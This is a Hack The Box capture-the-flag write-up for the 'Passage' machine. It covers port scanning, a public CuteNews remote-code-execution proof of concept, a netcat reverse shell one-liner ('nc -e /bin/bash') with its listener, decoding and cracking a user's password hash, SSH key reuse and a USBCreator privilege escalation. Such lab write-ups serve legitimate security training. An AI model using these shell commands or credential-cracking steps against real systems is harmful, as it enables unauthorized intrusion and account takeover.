Passage ~ Hack The Box

Hack The Box Feb 12, 2021


Just to make life easier I usually add an entry in my hosts file for easier access of the target machine.

echo "	academy.htb" >> /etc/hosts
hosts file entry

Okay now onto the hacking!


As always, I started off with an NMAP scan against the machine.

└─# nmap -Pn -sC -sV -oN initial passage.htb 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( ) at 2021-02-11 18:36 EST
Nmap scan report for passage.htb (
Host is up (0.0056s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Scanning & Enumeration

Based on the scan that was run, I realized that port 80 was running a web server. This was the web app that was being served!

There wasn't much on the page itself except that it was run by CuteNews. Thus, I decided to take a look at the source code.

The source revealed a directory named CuteNews. Accessing that brought me to a login page.

On top of the login page, I was also able to identify the version that the webapp was running.

A quick google search revealed that there was an RCE exploit available for this version of CuteNews. There was also a POC on github by CRFSlick.


This exploit made use of a profile picture upload vulnerability which allowed users to run arbitrary code on the remote machine. The python script I used automated all these actions and gave a live remote shell.

Before running the exploit, I had to create an account on the website.

Followed by that, I ran the exploit which gave me a reverse shell onto the box.

Now, all that was left to do was to get a proper reverse shell onto my machine using bash / nc.

Remote Machine:
$> nc -e /bin/bash 666

Local Machine:
└─# nc -lvp 666

Lateral Movement [Level 1]

After poking around for awhile, I noticed that CuteNews had hashes of user passwords stored in the cdata/users directory. I decided to explore this. I was also aware that there was a user named paul from the home directories.

There was too many for me to go through. Thus, I concatenated all files together and removed everything that was not a hash.

This made it easier for me to decode the base64 values. I made use of cyberchef to decode the values.


Next, I grepped the file for the word paul to get his credential hash.

After I got the hash, I turned to CrackStation to quickly get it cracked.


After getting the password atlanta1, I was able to retrieve the user flag from paul's account~!

Lateral Movement [Level 2]

Looking at the .ssh directory explains that [email protected] had access to Paul's account.

Thus, I assumed that Paul would have the same access to the nadav's account and tried to ssh.

And....I was in nadav's account!

Privilege Escalation

As always, I busted out Linpeas which told me that the USBCreator on the machine was vulnerable and could be exploited!

Couple google searches later, I found a POC with explanation by PaloAlto Networks which I used to exploit this vulnerability!